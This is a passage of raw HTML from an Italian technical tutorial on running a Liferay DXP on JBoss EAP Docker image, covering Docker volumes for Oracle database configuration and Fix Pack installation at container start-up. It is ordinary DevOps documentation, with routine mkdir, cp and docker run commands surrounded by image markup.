        &lt;source srcSet=&quot;/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/5a46d/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png 300w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/0a47e/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png 600w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/c1b63/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png 1200w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/d61c2/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png 1800w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/97a96/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png 2400w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/0b569/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 14 - Log dell&amp;#x27;avvio dell&amp;#x27;immagine Docker di Liferay&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/c1b63/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png&quot; title=&quot;Figura 14 - Log dell&amp;#x27;avvio dell&amp;#x27;immagine Docker di Liferay&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 14 - Log dell&amp;#x27;avvio dell&amp;#x27;immagine Docker di Liferay&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;61-utilizzare-docker-volume&quot;&gt;6.1. Utilizzare Docker Volume&lt;/h3&gt;&lt;p&gt;Per agire sulla configurazione di Liferay e di JBoss EAP, evitando così la
creazione di nuove immagini, è possibile sfruttare i cosiddetti
&lt;a href=&quot;https://docs.docker.com/storage/volumes/&quot;&gt;Docker Volumes&lt;/a&gt; montando il file system
locale sul container in esecuzione, così come indicato nel capitolo 1.4. File System.&lt;/p&gt;&lt;p&gt;Nel caso in cui volessi per esempio configurare Liferay per utilizzare Oracle come
RDBMS, la procedura da seguire è la seguente:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;preparare il layout file system così come previsto dalle immagini standard di Liferay (vedi File System);&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;revisionare la configurazione di JBoss EAP:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;modificare il file di configurazione module.xml per aggiungere il riferimento al driver dell&amp;#x27;RDBMS, che in questo caso è Oracle;&lt;/li&gt;&lt;li&gt;copiare il driver JDBC Oracle sull&amp;#x27;installazione di JBoss EAP;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;aggiungere la configurazione di connessione al database tramite file di properties portal-ext.properties o tramite environment.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;La Console 4 mostra i comandi per realizzare il file system layout che conterrà i
file di configurazione necessari a connettere Liferay al database Oracle.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 1. Preparazione del layout file system&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir liferay-with-jboss-docker-configuration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; liferay-with-jboss-docker-configuration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir deploy &amp;amp;&amp;amp; mkdir scripts &amp;amp;&amp;amp; mkdir files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 2. Copia del file module.xml revisionato con il riferimento al driver JDBC Oracle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ mkdir -p files/jboss-eap/modules/com/liferay/portal/main/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp ~/Downloads/module.xml files/jboss-eap/modules/com/liferay/portal/main/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 3. Copia del driver JDBC Oracle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp ~/Downloads/ojdbc8.jar files/jboss-eap/modules/com/liferay/portal/main/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 4. Copia del file portal-ext.properties con la configurazione di connessione al database Oracle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp ~/Downloads/portal-ext.properties files/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 4 - Preparazione del layout file system per la configurazione RDBMS Oracle&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;La figura a seguire mostra la struttura del file system appena creato e che sarà
montato come Docker Volume, così come indicato dal comando illustrato in
Console 5. Da notare che fanno parte del layout anche le directory deploy e
scripts, che rispettivamente sono dedicate all&amp;#x27;hot-deploy dei moduli o bundle
e all&amp;#x27;esecuzione di scripts pre-start Liferay.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3a448da22b0903abd9ede4101eda7084/0e0c4/layout-file-system-for-docker-volume.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:36.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;146\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20146\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2073v73h200l194-1c-5%200-7-1-9-2l-2-2%202-3c2-2%203-2%209-2h6v5a2744%202744%200%20000-137v5h-6c-6%200-7%200-9-2l-2-3%203-2%202-2H201l2%202c2%203%202%203%201%205-2%202-3%202-103%202H1V0L0%2073m0%200l1%2073%20100-1h99l3-2%202-2-2-3-2-2h-71c-66%200-71%200-71-2h-1c-1%202-5%202-29%202l-28%201v-3c0-1%200-2%201-1v1l1%201c1%200%202-4%201-5H2c-1%201-1-8-1-64L0%201v72m3-6v49h12l-6-1H4V31h5l6-1H4v-4l1-3h4l5-1-5-1c-4%200-5%200-5-2-1-1-1%2021-1%2048\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3a448da22b0903abd9ede4101eda7084/c85cb/layout-file-system-for-docker-volume.webp 300w,/static/3a448da22b0903abd9ede4101eda7084/e88ff/layout-file-system-for-docker-volume.webp 600w,/static/3a448da22b0903abd9ede4101eda7084/92f8c/layout-file-system-for-docker-volume.webp 1200w,/static/3a448da22b0903abd9ede4101eda7084/62ed8/layout-file-system-for-docker-volume.webp 1800w,/static/3a448da22b0903abd9ede4101eda7084/6f9cd/layout-file-system-for-docker-volume.webp 1884w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3a448da22b0903abd9ede4101eda7084/5a46d/layout-file-system-for-docker-volume.png 300w,/static/3a448da22b0903abd9ede4101eda7084/0a47e/layout-file-system-for-docker-volume.png 600w,/static/3a448da22b0903abd9ede4101eda7084/c1b63/layout-file-system-for-docker-volume.png 1200w,/static/3a448da22b0903abd9ede4101eda7084/d61c2/layout-file-system-for-docker-volume.png 1800w,/static/3a448da22b0903abd9ede4101eda7084/0e0c4/layout-file-system-for-docker-volume.png 1884w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 15 - File system layout per configurazione immagine Docker Liferay da montare come Docker Volume&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3a448da22b0903abd9ede4101eda7084/c1b63/layout-file-system-for-docker-volume.png&quot; title=&quot;Figura 15 - File system layout per configurazione immagine Docker Liferay da montare come Docker Volume&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 15 - File system layout per configurazione immagine Docker Liferay da montare come Docker Volume&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Esecuzione di Liferay con la connessione verso il database Oracle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker run -d --name liferay72jboss -p 8080:8080 -p 11311:11311 -v &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;$(pwd)&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:/etc/liferay/mount -P amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 5 - Esecuzione dell&amp;#x27;immagine di Liferay con il Docker Volume per applicare la configurazione della connessione al database Oracle&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;La figura a seguire evidenzia la copia dei file di configurazione sul file system
del container che sono stati predisposti in precedenza.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/d5c658d12baf930d61dd3a2bd23e3899/4ee93/run-liferay-dxp-docker-image-with-volume.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;134\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20134\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2067v67h401V0h-7c-6%200-7%200-7%202l-2%202-3-1h-1c-1%202-5%201-4-1l-1-2-1%202c0%202-1%202-4%202l-4-1h-18c0-2%200-3-2-3l-2%201h2l1%201c0%202-10%202-11%201h-1l-1%201-1-2-1-2v2c0%202-10%202-11%201h-1l-5%201-6-1h-16l-1%201-2-1h-2c0-2%200-2-1-1-1%202-6%203-6%201h-1l-4%201-4-1V1c-1-1-1-1-1%201l-1%202-1-1V1c-1-1-1-1-1%201s0%202-13%202l-13-1-1-1-2-1c-1-1-1-1-1%201%200%201%200%202-1%201l-1-2V0l-1%202h-1c-1-2-5-3-5-1h2l1%201c0%201-1%202-4%202l-3-2-1-2-1%202c0%202-1%202-7%202l-7-1h-1l-1%201V3l-1-1-1%201-6%201-6-1%204-2h4l-5-1c-5%200-6%200-7%202l-1%203V2c0-2%200-2-8-2s-9%200-9%202h1c0-2%209-1%209%201l-1%201h-7c-2%200-3%200-3-2-1-2-2-2-7-2l-5%201h5c3%200%203%200%202%201-2%203-8%202-8%200s-1-2-3-2l-3%201%201%201%203%201c1%201%201%201-3%201s-6-2-3-3c1-1%200-1-2-1-3%200-4%200-3%201%203%204%201%204-60%204L27%206v4c-1%201-1%201-1-2V5H3v3c0%203-1%202-1-2-2-6-2%204-2%2061m0%201a334%20334%200%20011-23V22L0%2068\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/d5c658d12baf930d61dd3a2bd23e3899/c85cb/run-liferay-dxp-docker-image-with-volume.webp 300w,/static/d5c658d12baf930d61dd3a2bd23e3899/e88ff/run-liferay-dxp-docker-image-with-volume.webp 600w,/static/d5c658d12baf930d61dd3a2bd23e3899/92f8c/run-liferay-dxp-docker-image-with-volume.webp 1200w,/static/d5c658d12baf930d61dd3a2bd23e3899/62ed8/run-liferay-dxp-docker-image-with-volume.webp 1800w,/static/d5c658d12baf930d61dd3a2bd23e3899/46261/run-liferay-dxp-docker-image-with-volume.webp 2400w,/static/d5c658d12baf930d61dd3a2bd23e3899/243a1/run-liferay-dxp-docker-image-with-volume.webp 2648w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/d5c658d12baf930d61dd3a2bd23e3899/5a46d/run-liferay-dxp-docker-image-with-volume.png 300w,/static/d5c658d12baf930d61dd3a2bd23e3899/0a47e/run-liferay-dxp-docker-image-with-volume.png 600w,/static/d5c658d12baf930d61dd3a2bd23e3899/c1b63/run-liferay-dxp-docker-image-with-volume.png 1200w,/static/d5c658d12baf930d61dd3a2bd23e3899/d61c2/run-liferay-dxp-docker-image-with-volume.png 1800w,/static/d5c658d12baf930d61dd3a2bd23e3899/97a96/run-liferay-dxp-docker-image-with-volume.png 2400w,/static/d5c658d12baf930d61dd3a2bd23e3899/4ee93/run-liferay-dxp-docker-image-with-volume.png 2648w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 16 - Evidenza della copia dei file di configurazione dal file system locale a quello del container&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/d5c658d12baf930d61dd3a2bd23e3899/c1b63/run-liferay-dxp-docker-image-with-volume.png&quot; title=&quot;Figura 16 - Evidenza della copia dei file di configurazione dal file system locale a quello del container&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 16 - Evidenza della copia dei file di configurazione dal file system locale a quello del container&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;62-installazione-liferay-fix-pack&quot;&gt;6.2. Installazione Liferay Fix Pack&lt;/h3&gt;&lt;p&gt;Esiste la possibilità d&amp;#x27;installare una Fix Pack durante lo start-up del container.
All&amp;#x27;interno del capitolo 5. Come creare l&amp;#x27;immagine è stato spiegato come
installare una Fix Pack durante il processo di creazione dell&amp;#x27;immagine.&lt;/p&gt;&lt;p&gt;Applicare una Fix Pack su di una immagine esistente può essere un vantaggio nel
caso in cui si voglia verificare in modo agevole la &amp;quot;bontà&amp;quot; della Fix Pack,
soprattutto in quei casi dov&amp;#x27;è fondamentale il controllo di eventuali
regressioni sul software custom.&lt;/p&gt;&lt;p&gt;Il requisito per l&amp;#x27;installazione della Fix Pack secondo questa modalità, è la
presenza dell&amp;#x27;installazione del Patching Tool sull&amp;#x27;immagine base a cui s&amp;#x27;intende
applicare la Fix Pack (vedi 5.2. Installazione Patching Tool) e la configurazione del
container utilizzando i Docker Volumes (vedi 6.1. Utilizzare Docker Volume).
Al layout del file system occorre quindi aggiungere la directory patching
all&amp;#x27;interno della quale posizionare il file zip della Fix Pack. La figura a seguire
mostra come al layout del file system precedente è stata aggiunta la directory
patching e aggiunto il file della Fix Pack che desideriamo installare.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/95fa1/fix-pack-installation-when-run-docker-image.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:43.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;173\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20173\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2087v86h401V0H234a7002%207002%200%2000-97%202h72l2%202c2%203%202%203%201%205-2%202-3%202-106%202H2V2h32l31-1-33-1H0v87m4-7v60h6l5-1-5-1-5%201v-17h5l6-1H5V34h5l6-1H5v-8h5l6-1h-6c-4%200-5%200-5-2-1-1-1%2025-1%2058m-2%2086v4h207l2-2%202-3-2-2-3-2H2v5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/c85cb/fix-pack-installation-when-run-docker-image.webp 300w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/e88ff/fix-pack-installation-when-run-docker-image.webp 600w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/92f8c/fix-pack-installation-when-run-docker-image.webp 1200w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/62ed8/fix-pack-installation-when-run-docker-image.webp 1800w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/a8768/fix-pack-installation-when-run-docker-image.webp 1816w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/5a46d/fix-pack-installation-when-run-docker-image.png 300w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/0a47e/fix-pack-installation-when-run-docker-image.png 600w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/c1b63/fix-pack-installation-when-run-docker-image.png 1200w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/d61c2/fix-pack-installation-when-run-docker-image.png 1800w,/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/95fa1/fix-pack-installation-when-run-docker-image.png 1816w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 17 - Layout file system per applicazione Fix Pack allo start-up dell&amp;#x27;immagine Docker di Liferay&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3b214ecf94d7f2f3f19d7d87cf4e9b4b/c1b63/fix-pack-installation-when-run-docker-image.png&quot; title=&quot;Figura 17 - Layout file system per applicazione Fix Pack allo start-up dell&amp;#x27;immagine Docker di Liferay&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 17 - Layout file system per applicazione Fix Pack allo start-up dell&amp;#x27;immagine Docker di Liferay&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Eseguendo il comando mostrato a seguire, questa volta, oltre ad applicare la
configurazione per la connessione ad Oracle, prima che Liferay sia avviato,
sarà applicata la Fix Pack che risiede all&amp;#x27;interno della directory patching.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Esecuzione di Liferay con l&amp;#x27;applicazione della Fix Pack&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker run -d --name liferay72jboss -p 8080:8080 -p 11311:11311 -v &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;$(pwd)&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:/etc/liferay/mount -P amusarra/liferay-dxp:liferay-dxp-7.2.10-fp-8&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 6 - Esecuzione dell&amp;#x27;immagine di Liferay con il Docker Volume per applicare la Fix Pack&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Dai log di start del container Docker, dovreste vedere l&amp;#x27;applicazione della
Fix Pack e successivamente l&amp;#x27;avvio del portale Liferay. La figura a seguire
mostra appunto un esempio di applicazione della Fix Pack.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/727a21ee969e06d87c0754a1b06d84ea/0b569/fix-pack-installation-when-run-docker-image-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.00000000000001%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;220\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20220\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20110v110h401V0H273C149%200%20145%200%20146%202c4%204%203%204-73%204H1V3L0%20110m0%201a3698%203698%200%20003%2090c1-1%200-2-1-2l-1-3c0-2%200-2%201%200l1%202v-2c0-2%200-2%201-1%201%202%206%202%206%201l-4-3H1v-5l1-4%202-1h1c0%202%208%201%208-1l-5-1H4l-1-1-2-1%201-1c1%200%202-1%201-2h1c2%202%202%202%203%201h1l1%201%201-2c-1-2-8-2-8%200-1%201-1%200-1-2s0-3%202-3v-2c1-1%202%200%202%201%201%202%2011%202%2011%200s-7-2-9-1c-1%201-1%201-1-1l-2-1c-2%201-3%200-3-1l7-1%202-2-1-1H4c-3-1-4-4-1-4l7-1c0-1-1-2-3-2H2c-2%200-1-2%201-5v-2c-2%200-2-1-1-3h2c1%202%203%201%203-1l-1-1c-1%201-2%200-2-1l-2-1H1l1-2c2%201%205%200%205-1l-1-1-2-1H3c-2%201-2-4-2-42a372%20372%200%20011-46c-1%201-1-7-1-23l-1%2086\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/727a21ee969e06d87c0754a1b06d84ea/c85cb/fix-pack-installation-when-run-docker-image-1.webp 300w,/static/727a21ee969e06d87c0754a1b06d84ea/e88ff/fix-pack-installation-when-run-docker-image-1.webp 600w,/static/727a21ee969e06d87c0754a1b06d84ea/92f8c/fix-pack-installation-when-run-docker-image-1.webp 1200w,/static/727a21ee969e06d87c0754a1b06d84ea/62ed8/fix-pack-installation-when-run-docker-image-1.webp 1800w,/static/727a21ee969e06d87c0754a1b06d84ea/46261/fix-pack-installation-when-run-docker-image-1.webp 2400w,/static/727a21ee969e06d87c0754a1b06d84ea/3938d/fix-pack-installation-when-run-docker-image-1.webp 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/727a21ee969e06d87c0754a1b06d84ea/5a46d/fix-pack-installation-when-run-docker-image-1.png 300w,/static/727a21ee969e06d87c0754a1b06d84ea/0a47e/fix-pack-installation-when-run-docker-image-1.png 600w,/static/727a21ee969e06d87c0754a1b06d84ea/c1b63/fix-pack-installation-when-run-docker-image-1.png 1200w,/static/727a21ee969e06d87c0754a1b06d84ea/d61c2/fix-pack-installation-when-run-docker-image-1.png 1800w,/static/727a21ee969e06d87c0754a1b06d84ea/97a96/fix-pack-installation-when-run-docker-image-1.png 2400w,/static/727a21ee969e06d87c0754a1b06d84ea/0b569/fix-pack-installation-when-run-docker-image-1.png 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 18 - Applicazione della Fix Pack durante lo start-up del container dell&amp;#x27;immagine di Liferay&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/727a21ee969e06d87c0754a1b06d84ea/c1b63/fix-pack-installation-when-run-docker-image-1.png&quot; title=&quot;Figura 18 - Applicazione della Fix Pack durante lo start-up del container dell&amp;#x27;immagine di Liferay&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 18 - Applicazione della Fix Pack durante lo start-up del container dell&amp;#x27;immagine di Liferay&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Per accertarsi dell&amp;#x27;avvenuta e corretta installazione della Fix Pack, basta
ottenere l&amp;#x27;accesso alla macchina per poi utilizzare il comando &lt;code&gt;./patching-tool.sh info&lt;/code&gt;
(dalla directory d&amp;#x27;installazione del Patching Tool) per verificare che la Fix Pack
per cui è stata chiesta l&amp;#x27;installazione è presente sul sistema.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/30a17beecacf616556fc60ae496b3d0a/3707e/patching-tool-info.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
